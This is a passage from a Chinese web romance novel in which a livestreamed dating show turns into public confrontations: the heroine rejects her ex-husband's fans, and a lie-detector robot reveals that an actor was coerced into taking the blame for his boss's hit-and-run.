“我曾经爱过傅京礼,爱到什么地步呢?爱到我觉得我好像把自己都弄丢了,爱到我看不透自己猜不透自己甚至不想认识这样的自己。” “那些已经是过去了,我们彼此都已经谈过,现在不是爱人只是朋友了,所以希望大家以后还是不要再关注我和傅京礼了。” 许愿语气是温柔的,但就是让人能感觉到些许淡淡的凉意。 评论区还在疯狂刷傅京礼,那些是嗑许愿傅京礼有没有可能破镜重圆重新在一起的CP粉,都在问如果没有许宁他们会不会一直在一起。 宋玥看的脸色微微变了,那群人还在催促宋玥赶紧问,宋玥面色微变,片刻后开口:“许总,他们都问如果没有许宁你和傅总会不会在一起……” 许愿握紧盛景炎的手,笑吟吟:“但这世界上没有如果不是吗?所以我和傅京礼注定是要分开的,我们是不会在一起的。” 说到这里许愿重新面对镜头:“女孩子还是要爱自己啊,恋爱脑其实并不算是贬义词,前提是你们要遇到对你同样恋爱脑的爱人啊,如果对方不爱你甚至在伤害你,那你的恋爱脑就会变成伤害你的利器,这世界上只有自己才能真的对自己负责.” 第849章 愿意陪他一起等彩虹 “不要因为所谓的深爱,在意,不舍得而真的浪费自己一辈子,不要相信什么追妻火葬场,更不要相信他口中说的知道错了,你们要记得有一次就有第二次,他们没办法改的,就算现在改了,近年内不会再犯,可你不能保证他这一生不再犯。不要去赌浪子的心意,与其这样一直疑心猜忌恐慌的过一辈子倒不如早早选择离开开始一段新的生活,这才是在爱自己。” 许愿说这段话不仅是对观众路人说的,好像也是对自己说的。 她眉宇之间都是淡淡的,好像真的对过去的那段感情完全释然了。 她和傅京礼之间是真的没有以后的,说到底是有缘无分。 “我觉得我自己真的很幸运,能够在离开后遇到了一个很爱很爱我的恋人,他会在我最需要的时候站在我身后,毫不吝啬的对我说爱,可以每天都说我爱你,可以包容我纵容我,能够陪着我吵陪着我闹,我觉得没有什么比这更有缘分更幸运的事了。” 说着,许愿有一次握住盛景炎的手,轻轻摇晃。 “盛景炎,遇到你真的是我人生中最大的幸事。” 盛景炎拥住她眼底弥漫的都是深情。 许愿这段话其实就等于是手撕她和傅京礼的CP粉,告诉那些人她真正在意的就只有盛景炎而非傅京礼。 她在告诉那些人,自己和傅京礼之间的缘分早就已经尽了,不要再执迷于两人,她毫不避讳的将一切摊开,不想继续跟傅京礼捆绑,也不希望那些人再来伤害盛景炎。 她的爱只会给盛景炎的。 评论区都怔住了,特别是嗑她和傅京礼会重新在一起的人都有些难过,她们是真的在难过,确实是真情实感的在嗑两人。 他们一直相信两人可以重新在一起的原因是许愿曾经真的太爱傅京礼了。 最青涩的时候许愿说傅京礼是她的目标,是她最敬佩的人,然后循着副经理的方向考上同一所大学,和他一样成为优秀毕业生,一点点到今天的模样。 他们隐婚那几年,许愿对傅京礼更是一直在迁就,穿傅京礼喜欢的礼服,戴他喜欢的珠宝,陪他一起参加他喜欢的各类拍卖会和展览,渐渐的为了傅京礼变成了她自己都会觉得陌生的模样。 她为了傅京礼,变得越来越不像她自己。 可即便如此那时候的她仍然是开心快乐的,因为她的爱人在身边。 许愿曾经的小号被人扒出来过,许愿在小号上发表言论【我有一个很爱的人,我愿意陪他一起等雨后的彩虹。】 这么简单的一句话,谁都能看懂许愿的意思。 她有个很爱的人,那人是傅京礼,但傅京礼不爱她,她告诉自己没关系的,她可以等,等他回应后那就是雨后最美的彩虹。 她一直都陪在傅京礼身边,傅京礼的一切她都了解,会为了她让自己在傅氏任职只为了帮他帮傅氏,好像在为了傅京礼在埋没自己,最纯爱的时候可以为了他不眠不休的去做策划案拿下价值百亿的项目,曾为了他哪怕是发烧也要参加海外的竞标会,最后成功为傅氏拿下合同而她自己也因此病倒。 她所做的一切全都是为了傅京礼,因为爱所以不停后退不停迁就不停忍让。 她们以为那是许愿对傅京礼的爱,那确实是爱,是隐忍的卑微的爱,爱到丢了自己模糊了自己,这样的爱是以伤害自己为底色存在的。 许愿今天的话说的真的很明显了,她和傅京礼不会有以后的。 嗑许愿和傅京礼的CP粉在这一瞬间内心的酸涩感几乎到达顶端。 对他们来说许愿和傅京礼之间就好像是一部没有结局的,中途换了男主角那算什么结局呢? 傅京礼明明已经知道错了,他已经在追求在忍让,为什么许愿不能回头看看他呢? 可是不会再有人给他机会了,许愿已经有了爱人,她的爱人是盛景炎,再不会是傅京礼。 一切都已经过去了。 只有CP粉还沉浸在原地,还等着两人重新在一起的美梦。 美梦到底不是现实,只是梦啊。 评论区其它清醒的正产人都看不下去了。 {其实我真的不明白,许愿跟傅京礼在一起并不快乐,为什么这群人还是要嗑傅京礼和许愿?许愿面对傅京礼的时候她都已经没有自我了,你们看不出来吗?许愿在傅京礼身边那几年都是什么样了!你们说许愿为了真爱才这样,好,你们看看许愿在傅京礼面前她有自我吗!许愿爱穿什么颜色的衣服?她自己说过的,最喜欢鲜艳亮眼的衣服,可在傅京礼身边她从没有穿过那样鲜艳颜色的衣服!她一直穿的都是黑白灰样式的衣服,因为作为傅京礼的首席秘书和妻子她需要优雅需要端庄,没人问她喜不喜欢,他们只看中她合不合适做没做到,谁在意许愿的内心呢?} {许愿跟傅京礼在一起的时候多少次都被忽略,你们自己看看那些报道能看出傅京礼在意她吗?他一直都在忽略许愿,离婚后终于明白自己对许愿是有爱的了?那过去都在做什么?那就是傅京礼认为的爱吗?他的爱难道就这么浅薄吗?} {许愿在傅京礼面前是什么样?在盛景炎面前又是什么样?你们可以自己对比,在傅京礼面前就像是最优秀的秘书和妻子的模版,温雅大方,任谁看了都要夸一句贤淑,可盛景炎面前的许愿是可以任性的可以做任何自己不想做的事情,因为盛景炎不会逼她。他会送许愿她最爱的红裙子,会为了跟她看着更般配故意穿红色的衬衫,会为了她说的一句喜欢为她拍下昂贵的红宝石,会因为网络上的那群人说他不喜欢许愿而降资产全部都转给许愿,他完完全全的在用心呵护许愿,他的爱才是真正拿得出手的爱。} {就这不磕盛景炎还磕傅京礼和许愿的多少是思想有些不正常,不要再说傅京礼已经知道错了需要给他时间改正这句话了好吗,许愿没有义务去原谅他.} 第850章 前夫哥在窥屏 {几年时间不够他去认清楚自己的内心,离婚后就能认清了许愿就一定要回头跟他重新绑在一起?凭什么?睁大你们的眼睛好好看看许愿在盛景炎面前和在傅京礼面前有多不一样!你们真的能说出许愿还爱傅京礼的话吗!以前爱不代表现在继续爱,你们爱男喜欢被虐那是你们的事,但别巴着我们许总不放!我们许总是正常人!离远点吧你们!} {许总和盛总才是绝配,至于磕其它的那群人……没事就去看看医生吧,真的病得不轻啊。} 弹幕上都在嘲那些还想让傅京礼和许愿重新在一起的,几乎是一种道德绑架的口吻了。 她们好像觉得许愿跟傅京礼结过婚那就必须跟傅京礼绑定一辈子,他知道错了许愿就必须原谅,不然就好像是许愿不识好歹。 那些人的脑子都好像是有些病,跟他们完全无法沟通,即便是此刻也还在叫嚷他们结过婚,那原配就必须是傅京礼,凭什么跟盛景炎在一起?那是对婚姻的一种背叛。 那思想,就好像是从大清穿过来的一样,离了原配男人就不行,开始新生活都是错的。 远在海外知道许愿和盛景炎参加恋综的傅京礼也看了节目。 他一直都在看节目。 虽然人不在华国,却控制不住的去关注许愿。 在看到许愿说自己对盛景炎的感情是爱是深爱的时候,傅京礼眼底的苦涩几乎要溢出来。 他克制不住自己此刻内心的酸涩,看向屏幕的眼神都是带着点点苦味儿,直到有人问起许愿对他的感情,还有没有可能在一起。 其实傅京礼知道许愿的答案,可再听到这句话还是会忍不住的将目光放到许愿身上,好像是觉得这样就能听到其它的可以让自己开心的回答。 他自己也知道不可能的,但就是希望……能有这个可能。 然后他再一次听到了许愿开口的话,又一次拒绝了他,甚至将话说的这样清楚明白,仿佛就是在告诉他,他们之间是不会有结果的。 傅京礼看到满屏幕都在问为什么凭什么,那都是嗑他和许愿的CP粉。 他不觉得这些人冒犯到自己,但代入到许愿,她们的存在其实伤害到了许愿。 因为许愿已经有了盛景炎,他们是彼此的爱人,而那些粉丝一再提到他就是在伤害许愿伤害盛景炎。 他面色微微沉了几分,然后登陆了自己的账号,那是认证的账号,进入直播间后许是怕那些人看不到自己又或者自己的发言被人淹没。 他查过了,打赏榜首的人发言会直接飘在直播间不会被顶没淹没。 他直接在直播间选定打赏的人是许愿和盛景炎,一人打赏了五百万,直接一跃成为直播间榜首。 直播间里面全都是炸起的烟花,一朵烟花一万块,傅京礼送了烟花海。 直播间的众人都惊呆了,本来还在争吵的也傻眼了。 不是?谁啊?一上来就这么大手笔送烟花海啊! 评论区都惊呆了,这时候没有人吱声,傅京礼沉默的点烟花,然后看戏的路人看到送烟花的人是傅京礼,所有人都看到送花的人是谁了。 若是一开始还在猜这人是真是假,那现在就不用猜是真是假了,毕竟假冒的傅京礼也没这么多钱啊。 {我靠真的是傅京礼啊!} {老天啊这直播可真的是太刺激了,我也没想过竟然真的能把许愿的前夫招来啊!} {这直播有意思了,许愿跟现任参加恋综,许愿前任则是在看直播砸钱送钱,我尼玛这是真没顶级修罗场啊!} {前夫哥是一只在窥屏吗?不然怎么一说到许愿对他是否有爱的时候就冒出来了,肯定一直在窥屏。} {果然,过了这么久傅京礼还是忘不掉许愿,这绝对是真爱!} 评论区有人陆陆续续的发评论,但都没有过多久就会被傅京礼送的烟花冲散…… 此刻整个直播间都是傅京礼送的烟花。 一众人都在看烟花了,直到傅京礼的送完了烟花猜终于在直播间开麦,而CP粉已经恭候多时了。 CP粉们都等着傅京礼来抢许愿呢,结果就看到了傅京礼的发言。 【傅京礼】:我是傅京礼。 知道的知道的,大家都知道你是傅京礼。 【傅京礼】:对于我和许愿之间的事希望大家可以不要再为难许愿,我们之间已经是过去式,她的未来是盛景炎,希望大家不要再提到我去伤害许愿和盛景炎。 傅京礼说的多明显啊,不要再为难许愿,他已经是过去式了,许愿的未来是盛景炎。 他是许愿的前任也只会是许愿的前任,他们之间已经完全说清楚了,不会有以后的。 如果不是完全看清楚了自己和许愿没有未来,他不会这样毅然决然的离开华国离开帝城,他离开就是希望有些人能忘记自己不要让许愿继续跟自己捆绑,而另一方面则是想要控制住自己不要再去想许愿,不要再做出任何的错事。 他最清楚自己可能会做出什么事。 他爱许愿所以很有可能会伤害到许愿,这也是他为什么一定要离开的原因。 可是他离开了,那些CP粉却还在,他们还是会希望他和许愿继续在一起,他们吵他们闹,好像真的只是为他讨个说法觉得许愿背叛了他。但事实上许愿并没有背叛他。 从头到尾都是他伤害了许愿背叛了许愿,说到底他才是那个罪人。 许愿从头到尾都是最无辜的人。 所以傅京礼才会在这个时候站出来让那些明白他和许愿没可能了。 本来还在直播间为傅京礼不停指责许愿的那些CP粉都愣住了。 什么叫做他是过去式?那他们的努力算什么? 傅京礼会突然出现这是连宋玥都没想到的,不光宋玥没想到,其它人也没想到。 傅京礼明明已经离开却没想到人在国外还是在一直关注许愿。 如果这都不算爱娜什么算爱呢?傅京礼就是很喜欢许愿啊,喜欢到不舍得许愿被任何人伤害,不然傅京礼又何必在这个时间站出来呢? CP粉们一边觉得傅京礼拆她们的CP一方面又觉得傅京礼的确很可怜。 他就是很爱许愿,不然现在不会为了许愿特地站出来说这种话。 第851章 希望你能一直幸福 傅京礼和许愿的CP粉其实心里发酸,但她们更清楚傅京礼和许愿已经真的不可能了。 许愿有了新的爱人,她的爱人是盛景炎,再不会是傅京礼。 她们继续嗑也不会有结果,相反只会冒犯到许愿和盛景炎。 现在是盛景炎大度,如果换个小气的人大概会吃醋了。 傅京礼和许愿的CP粉在节目中终于安静了,宋玥也猜到傅京礼的心思,她顿了片刻才开口:“许总,傅总现在在直播间,您有什么要对傅总说的吗。” 许愿很明显顿住,盛景炎挑了下眉,似是已经看开了,他像是低笑一声看向身边的爱人。 “阿愿,你有什么想对他说的吗。” 他明明声音很轻快,但直播间的人就是觉得盛景炎这语气有点点古怪。 盛景炎如果知道直播间的人认为他在阴阳怪气那他就太冤枉了,他真的只是单纯的问一句,虽然是有点酸。 没办法,任谁看到自己的爱人的前任都不会开心,特别是伤害过自己爱人的前任。 许愿笑了笑:“其实没什么好说的,傅总离开帝城前我们见过一面,他祝我和阿炎幸福,那我也祝愿傅总早日找到陪他度过余生的爱人。” 什么是杀人诛心,这就是杀人诛心。 任谁都清楚傅京礼还深爱着许愿,可许愿就直接告诉傅京礼,希望你能找到爱人。 弹幕就算不磕傅京礼和许愿的都能感受到许愿这句话的攻击力,这是完全跟傅京礼划清界限。 傅京礼当然听到了许愿的回答,他勉强的扯了扯唇角,甚至觉得许愿肯回应他,哪怕是这样无情的话他都觉得比无视他更好。 他最后发了一句话。 【傅京礼】:希望你能一直幸福。 这句话发出去后弹幕都在刷希望许愿一直幸福的话,宋玥导演看的有点心酸忍不住提了一句,告诉许愿傅京礼刚才发了什么、 许愿眉眼弯弯的笑了笑:“也希望你能幸福。” 现在大厅内所有人都看着许愿,似乎是等着她再说句话,许愿却只扬唇:“难道还不开始下一轮吗?这次总不该还是我了,不然我都要觉得这是节目组的黑幕了。” 宋玥干笑:“许总哪里的话,谁敢黑幕你啊,你在这里就能保证我们节目组绝对没有任何黑幕,公平公正。” “那继续下一轮?”许愿又问。 可以很明显的看出来,她并不想继续在傅京礼相关的话题上停留太久。 宋玥赶紧笑了一声:“那我们继续下一轮。” 许愿嗯了一声,忍不住伸手弹了弹测谎猫咪机器的鼻子,小猫咪“哎呀”一声,连连后退数步,许愿倒是笑的开怀。 还挺蔫坏儿的。 盛景炎看她这副模样不停的笑,很明显心都偏在许愿身上。 又一轮游戏开始,众人都吃过了许愿和傅京礼的瓜,现在又都开始忧心忡忡,这一轮抽到最小数字的是沈从,宋明远很明显松了口气觉得自己能继续看戏了。 评论区纷纷开始刷起想问沈从的问题。 这次宋玥想让他们知道没有黑幕,特地将评论和弹幕全都投到墙上,方便他们看。 最后果然出来了一个问题。 【沈从,两年前你是不是真的肇事逃逸了!】 问出这个问题的很明显是个黑粉,想让沈从出丑的。 沈从脸色“唰”的变白了,大厅内众人目光都放到沈从身上。 他的手都已经放到测谎仪猫咪身上了,但此刻却说不出话无法回答,舔了舔唇瓣,整个人身体都僵硬了。 弹幕和评论区都因为沈从的反应不停刷着这句话,粉丝还想要缓和下气氛,但被路人也跟着追问沈从是不是真的肇事逃逸。 所有人都在问,都想知道两年前的真相。 沈从嗓音干涩:“是我肇事逃逸撞到了人害的对方变成了植物人。” 话音才落,弹幕直播间才想骂他,却见测谎仪小猫咪开始发出警报声亮起了红灯。 “撒谎撒谎!” “你在撒谎!” 测谎仪小猫咪的机械尾巴抽抽他的手,然后卷住沈从的手,奶声奶气带着愤怒:“肇事逃逸的不是沈从,他是被顶包的!” 测谎仪小猫咪此话一出一片哗然。 什么情况!什么叫沈从在撒谎! 肇事逃逸这种事对一个演员来说有多严重他不清楚吗?为什么要为对方顶包! {我靠我靠我鸡皮疙瘩都要起来了!这种事竟然真的有人顶包,而且顶包的还是个明星!} {查吧!必须彻查!这件事影响太大!} {那群黑粉你们再骂!测谎机器人都说了沈从是顶包的,他根本没有肇事逃逸!} {到底是谁啊能让沈从被逼到这样,刚才他看到这个问题的时候明显整张脸都白了,一看就是被吓到了!} {盲猜是资本圈里的人,不然沈从不会被吓成这样,真的好可怕!} 评论区弹幕区都在不停猜测是谁逼着沈从顶包的。 沈从只觉自己嗓子都有些干涩,他一时不知道该如何作答,等了许久,看到评论区有人说了句{许总和盛总都在呢!那人再厉害难道还能比许总更厉害吗!} 沈从相识抓到了救命稻草一般,几乎是求救一样的看向许愿。 许愿慢悠悠的把玩盛景炎手上的戒指,注意到他看过来的眼神扬了下眉笑道:“今天发生任何意外,我兜着,如果有人敢来找你的麻烦,也要让对方掂量掂量能不能跟我抗衡,如果你还担心,我倒是可以把你签到我给栩栩开的娱乐公司,怎么样?” 沈从都惊呆了。 弹幕和评论区更是在疯狂刷屏。 {我靠!这是什么狗屎运!} {许愿专门给温栩栩开的娱乐公司,换句话说那公司除了温栩栩没别人,沈从如果进去了那就是公司的一哥啊!现在温栩栩暂时退圈一年,这一年资源不都是沈从的?就算温栩栩回来了他们也不是一个塞路的,两人完全不会有竞争!这是天上掉馅饼的好事啊!} {沈从!沈哥!答应许总啊!} 第852章 屈打成招 {呜呜呜为什么我们哥哥没有这么好的运气!进了许总的公司那真的是在娱乐圈都可以横着走的地步,别说帝城,就是华国,海外,都要给许总面子!} {难道重点不是许总已经猜到沈从不说出真相的原因是因为对方的身份吗?} {其实我早就想说了,沈从前两年被雪藏过一段时间,大概有三四个月没有任何消息,等重新出来后就被塞了资源,现在想想大概那段时间是被人逼着认了这肇事逃逸撞伤人的事了!太可怕了!} {我想着大概就是屈打成招的,沈从重新出来那段时间有人拍到身上好多伤,脸上也有乌青一看就是被打的,但沈从说是拍戏拍的,不过据可靠消息说沈从那段时间去过医院据说是鼻梁断了……不知道是不是被人打的。} 评论区和弹幕猜什么的都有。 许愿看着那些眼神微暗,她目光重新落到沈从身上。 “你怎么想,要不要来我的娱乐公司,如果你想好了我会让人联系你赔偿你现在公司的违约金,你直接过来就好。” 说到这里,许愿面对镜头笑笑:“我记得沈从的合约今年就到期了,他一定是不打算续约的,如果他没有在贵公司遭受到虐待或者非人的折磨我是会付一笔违约金当做赔偿,但如果被我查出其它的东西……那就请自求多福。” 这话是对沈从的公司说的。 沈从的粉丝看的几乎是泪流满面。 {妈惹,我终于明白那群人为什么粉许愿了!真的好有安全感啊!} {见过有人喊许愿妈妈的,我也想喊,妈你看你介意多个成年的女儿吗呜呜呜} {沈从的粉丝在这里谢谢许总!沈从你个呆瓜赶紧答应啊!大佬来给你当靠山了!你还装哑巴!} {沈从!快说你愿意!急死我了!} 沈从哑着嗓子:“许总,我愿意的。” 许愿已经料到他的反应,她笑着开口:“那么,该说一说两年前那件事的真相了。” 沈从眼眶发红的开始讲自己当时出道后遭遇的事。 沈从是五年前爱豆身份出道的,五年前沈从是那档男团选秀节目的第一名,全能C位,正式出道后就签了娱乐公司。 沈从签的是圈内有名的影视娱乐公司“天域传媒”,天域在业内已经是几十年的老牌公司了,其内不仅发展影视还发行长篇打造出了很多歌手。 现今娱乐圈内的几大天王,歌王歌后,海豚音天后,情歌王子,以及出了名的影帝视帝多少都跟天域有关系。 她们全都是天域捧出来的,虽然都已经离开天域独立出来建立了自己的工作室,但对天域还是有感情的,所以天域的人脉圈很广,也很有口碑,引得很多新人都想被天域签约。 但现在的天域已经不是多年前天域了,天域的老王总早就已经去世了,现在继承了天域的是老王总的私生子王天耀。 王天耀对旗下艺人并没有多好,现在天域都还在吃老本,近十年都没有过什么好的资源了,还曾经为了拦住当红的影星离开天域想出过下三滥的法子,请人喝酒想拍下对方的私密照片威胁,最终被对方发现彻底决裂,对方碍于曾经老王总的知遇之恩没有撕破脸,但也离开了天域。 现在的天域乌烟瘴气,谁捧着王天耀谁就能拿到资源,他尤其会捧着他的小情人,他荤素不忌,漂亮的男孩子女孩子他都喜欢,现在的天域说是娱乐公司,倒不如说是王天耀的后宫。 那些被签进来的艺人肯被他潜的就有最好的资源甚至是专门定制的资源,不肯被他潜规则却能哄他开心的也能拿到点边边角角的资源,而那些不会哄人又不肯被他潜规则的就会被雪藏。 王天耀是个畜生东西,那些陪他的明星艺人他也都留了视频和照片,所以就算以后真的红了也不能离开天域,只能为天域卖命。 沈从呢,从选秀综艺中C位出道不仅因为过硬的业务能力,更因为他那张俊美的脸,王天耀就是看中了沈从的脸才签了沈从。 沈从那时才刚大学毕业,青涩的很,只记得天域口碑好是大公司就签约了,殊不知进了狼窝。 王天耀喜欢他,逼了他几次,沈从都跑了,最严重的一次甚至跳车跑的。 王天耀被他逼得没有办法,对他渐渐没了兴致,但是沈从确实是火,王天耀也不是个绝对的蠢货,就让沈从自己出去找资源还能为公司赚点钱。 所以沈从那三年都是被放养的状态。 直到两年前沈从拍了一部古装剧,他已经长开了,整个人更加俊美,甚至相貌有三分像江恒,王天耀喜欢江恒,但知道江恒是江家的少爷,疯了才敢动江恒,便重新把目光转移到沈从身上,又一次开始威逼利诱。 沈从被灌了酒被自己同剧组的人背叛送到了王天耀的车上,而王天耀却在路上撞到了人,且被人拍下来。 当时的王天耀不知道自己的车被拍了,还像强迫沈从,沈从奋力反抗用花瓶砸晕了王天耀才逃跑,王天耀气昏了头对沈从动了粗,这次没了想睡他的心思,他每一次都被沈从忤逆早就烦了,直接叫了保镖动手,沈从反抗却被人压在地上打,鼻梁骨就是那时候被打断的。 王天耀已经存了要雪藏沈从的心思了。 毕竟娱乐圈里面不缺漂亮的明星,沈从不愿意有的是人愿意。 王天耀就嚣张的走了,离开三天就收到了警察的电话,王天耀这才知道那天自己撞到人肇事逃逸被人拍下来,而对方成了植物人现在就躺在医院里,王天耀这才慌了,猛地想起来当时自己车内还有个沈从,那时候沈从喝醉了酒。 他想也不想的把一切都推到沈从身上,并逼迫沈从必须按照自己的说法去录口供。 沈从是孤儿,但他是被孤儿院养大的,孤儿院的园长妈妈还在,王天耀就用孤儿院来威胁他,沈从没了办法只能应下。 第853章 千万别抽到他 这件事闹得大,王天耀跟对方家庭私了付了几百万支票把沈从捞出来。 其实王天耀这么怕警察只因为老爷子离世前遗嘱里面明确有一条,如果王天耀违法犯罪,那么所有的家产都会捐给华国。 王天耀不知道这遗嘱具不具备法律效益,但王天耀是真的怕所以才让沈从为自己顶罪。 他甚至用了资源来贿赂沈从,逼着沈从接受那些资源才觉得沈从真的跟自己狼狈为奸了。 这两年他没少给沈从资源,就是为了堵沈从的嘴。 王天耀瞒了两年的事,就因为沈从上了一档恋爱综艺就被扒出来了。 沈从把这些年的事情简单说出来,弹幕都疯了,大厅内的众人也都愣住。 {天域传媒啊!天域啊!那可是拍出过很多名剧和在国际上获奖大电影的老牌娱乐公司啊!} {我靠,我突然想到我家哥哥就是进了天域后被雪藏了!这分明就是不想被潜规则所以才被区别对待了!} {以前的天域多辉煌啊,现在却凋敝成这样,真是让人唏嘘。} {现在天域变成这样是因为老王总的私生子儿子王天耀继承了公司。} {说起来那也是老王总活该,他自己不是个东西出轨有了私生子,甚至为了这个私生子逼着自己的亲生女儿出国,他就是恨自己的妻子没能给他生出儿子来!就觉得女儿不能继承家业所以觉得女儿有心跟自己儿子争抢就将女儿流放到国外,甚至于一分钱都没给女儿留!老王总心狠到如此地步!} {说天域以前拍了很多好剧的那是因为那时候天域还有很多好编剧,你们但凡看老王总编的那几个剧都是会让人三观尽毁的程度!什么一定要给丈夫生儿子的剧,或者是种马王怎么泡女人的电影,有一个是一个全都是烂剧烂电影!} {天域,呵呵,早该没了!} {我他妈心疼死沈从了!沈从刚大学毕业就被王天耀那混蛋欺负,我就说沈从那三年的资源怎么那么散,什么都有,原来天域给他的经纪人根本就没打算管他,都是自己对接自己请助理自己去剧组拍戏,他当时那么火连个房车都没有,别的主演能去房车休息他就只能在那么热的酷暑看剧本,当时找过天域,天域根本不管,网络上有关沈从的黑料天域也没压过,一直都是放养状态现在看看,王天耀那时候就打算毁掉沈从却还想让沈从当摇钱树,垃圾渣渣!} {怎么能这么狠!粉丝都知道沈从有多在意孤儿院和院长妈妈!王天耀是畜生吗!} {沈从因为肇事逃逸这件事被骂了整整两年啊!一旦我们沈从出剧有了新资源就要被对家骂法制咖!现在终于洗清了,沈从根本就没错!王天耀你丧良心!} 弹幕全都在心疼沈从辱骂王天耀。 还有些粉丝天都塌了,都回去看自己哥哥姐姐是不是签约了天域传媒,现在弹幕甚至还有人疯狂刷着希望许愿让天域破产重组或者直接收购的。 因为现在许愿只帮了沈从一个,其它人还在王天耀手里讨资源。 许愿眸光微闪,看到评论区那些网友们的发言开口道:“你们不必担心自己偶像,他既然犯了法那就该将自己手中的资产全都捐出去,包括手中的股份,老王总还有位嫡女,她手中应当还有她母亲留给她的股份,等她回来,天域应该会进行一波大清洗。” 许愿这话已经表明了态度。 老王总的嫡女王云英会回国掌控天域,王天耀会为他肇事逃逸以及故意伤人和威逼利诱等等罪责付出应有的代价。 评论区弹幕全都是在欢呼的。 天域王总也因此上了热搜,刑从景明白许愿的意思,现在就已经安排人将王天耀带走审讯。 王天耀被带走的时候还跟自己的小情人睡在一起,身上衣服都没穿喝的烂醉如泥的就被警察破门而入的带走。 被人带到警车上王天耀都还在叫嚷大骂却没有人理他,将人带到审讯室一盆冷水直接把人泼到清醒,王天耀不肯认直呼自己冤枉,许愿那边也做了两手准备,复原了当天的行车记录仪,明确有他开车撞人的监控。 看到这一切王天耀脸色惨白,也清楚自己是彻底完了。 王天耀掌控了天域十年,现今所有资产都会被夺走,往后只会被扣押在监狱中,因为他犯下的罪责太多,有聚众淫乱的,吸食禁品的,拉皮条的、数不胜数,数罪并罚,活该被关一辈子。 而王云英即便回国后也需要一段时间才能掌控天域,天域毕竟是老牌公司,内里早就被王天耀腐蚀了,有太多蛀虫,想要清理干净还有场硬仗要打,这就是后话了。 此刻《爱人的浪漫旅行》节目组还在进行直播中,弹幕和评论区的观众都没想到有许愿在真的话题都是王炸的,就这么轻飘飘的就打算对付天域传媒的王总,所以说粉上许愿真的太爽了。 大厅内的众人也都没想到这神转折,特别是宋明远整个人都僵硬了些。 他知道许愿厉害,但没想到许愿这么厉害,且真的能如此之狂,他现在甚至开始害怕那个测谎仪小猫咪机器人了,他害怕弹幕评论区问出些自己不敢回答的问题。 他开始有了想拔腿就跑的想法,但在场的人都没动,如果单只有他动了反倒显得他心虚了,只能强逼着自己继续坐在原位置,脸上的笑意一直没有敛去,只是笑容更加僵硬了。 许愿懒懒散散道:“继续下一轮吧,总要每个人都轮到一次……不然那不就没有乐子看了。” 说到这里许愿笑弯了眼睛:“我都轮到两次了,你们应该也不介意轮到一次吧。” 她们能说什么,自然都是点头的。 但宋明远真的是如坐针毡,看测谎仪小猫咪的眼神像是在看魔鬼。 新一轮游戏开始,宋明远不停祈祷,一定不要抽到我,一定不要抽到我! 结果下一秒,看到数字2宋明远心都提起来,祈祷着有人抽到A救自己一命。 可最后亮出牌后宋明远才发现只有自己的数字才是最小的。 宋明远心里咯噔一下只觉得完了。 第854章 犀利问题 宋明远是真的没想到这么快就轮到了自己,好运气到现在算是全没了。 宋明远只希望没有黑粉,只要没黑粉应该就问不出什么没下限的问题,但宋明远已经看到那些刷过去的评论里面有自己答不出甚至不敢回答的问题了。 宋明远脸上的笑意愈发尴尬,宋玥并没看出宋明远这笑容中的无措来,还在热着气氛问:“宋明远老师您准备好了吗。” “准备好了。”宋明远除了说这个还能说什么,只能祈祷别抽到自己不敢回答的问题。 手已经放到测谎猫咪机器人上了,宋玥也抽到了问题。 【宋老师真的和林悠羽没有感情了吗?请问宋老师还爱林悠羽吗?】 这已经算是那堆问题中算是友好的一个了。 但宋明远还是会心虚。 宋明远此刻像是纠结自己该如何回答一般,等了片刻才想到了要怎么表达。 “我和悠羽现在更像是家人,毕竟已经不像年轻人了,所以说爱的话不如说我把悠羽看作是不能放弃的家人。” 他思考了很久觉得这样回答才不会出错。 但凡是结过婚的肯定都懂,到后面爱情会逐渐北磨灭最后变成家人。 宋明远这话才出口,测谎仪小猫咪就已经开始亮出红灯滴滴滴的响起来。 “撒谎!你撒谎!她在你心里不是爱人不是家人!给你归类为家人的只有你的父母你的弟弟妹妹!根本没有林悠羽!” 测谎仪小猫咪就这么直接的曝光宋明远。 弹幕评论区一片哗然。 {我早猜到宋明远跟林悠羽感情可能不太好,但没想到这两人竟然真的没多少感情!} {宋明远最开始都没有说爱,直接说把林悠羽当做家人这还不能说明问题吗?因为他不敢提爱,小机器人一定能测出来的,所以才说家人,万万没想到宋明远心里根本没把林悠羽当家人!} {林悠羽可是给他生了三个孩子啊!他还要脸吗!} {男人是这样的,对有的男人来说确实是父母和兄弟姐妹才是家人,自己的妻子儿女都是外人,别跟我杠我家就是这样,我家最穷的时候一家人一天只买得起连个馒头还是翻了半天找到的钢镚,就这我亲爸还去借钱给他弟弟花。恶心人的东西。} {宋明远以前一直都是好丈夫好爸爸人设,现在这算是翻车了……} {我早就受够了宋明远好爸爸和好丈夫人设了,拜托,真要是好丈夫会让妻子一直不停生孩子直到生出儿子才停吗?谁不知道生产队女性来说是很伤元气的,林悠羽第一胎生完才做完月子没多久就怀了二胎!二胎生完后也是月子才做完没多久就又怀上了三台,知道这代表什么吗?宋明远就没把林悠羽当爱人看,在他眼里林悠羽就是个生育机器,必须给他生儿子!} {能逼着自己妻子一直生孩子的能是什么好东西,还说什么自己最疼女儿,不会重男轻女,你们自己去扒他女儿身上穿的衣服用的东西很多都是他家人的旧款,只有他儿子的才全都是新的牌子货,最能演最能装的就是宋明远了。} {也不要这么说吧,这测谎机器人说不定也不太准呢。} {许愿不也说了这机器人还在测试阶段。} {啊对对对,杜佳阮被测出撒谎整容这件事是假的,沈从隐瞒真相被扒出肇事逃逸另有其人的也是假的,你家偶像爱不爱自己妻子这事儿也不敢正面回答模棱两可的说当成家人这事儿也是家的,你自己看看这像话吗,能不能不要自欺欺人了!} {那也是人两口子的事儿,你们网友就是看热闹不嫌事儿大,非要两人离婚就好了?} {你们真当林悠羽离了宋明远还能有好日子?林悠羽那扶不上墙的烂演技,没了宋明远谁还用她!} 评论区吵成一团,宋明远毕竟是前辈了,粉丝还是比较多的,虽然有人嘲讽宋明远虚伪但也有粉丝为他出头,场面不算太难看。 宋明远心里清楚自己的虚伪面具算是被撕碎了,面上虽然还带着点笑意,只是有些勉强。 许愿看着她眸光都跟着深了几分,倏而笑了一声:“宋老师不必太介怀,毕竟测谎仪还在试验阶段说的话当不得真。” 宋明远只能跟着干笑两声。 {看吧!许愿都说了小机器人在实验阶段说的话不能全信!} 都这时候了还有宋明远的脑残粉出面为宋明远开脱。 评论区的人都懒得理了。 谁看不出来那是许愿给宋明远面子故意说的缓和气氛的话啊,当真那就是蠢了。 宋明远现在只想赶紧继续玩游戏,好让其他人爆出黑料救自己一命。 早知道这恋综有这么多雷,他当初绝不敢来参加啊! 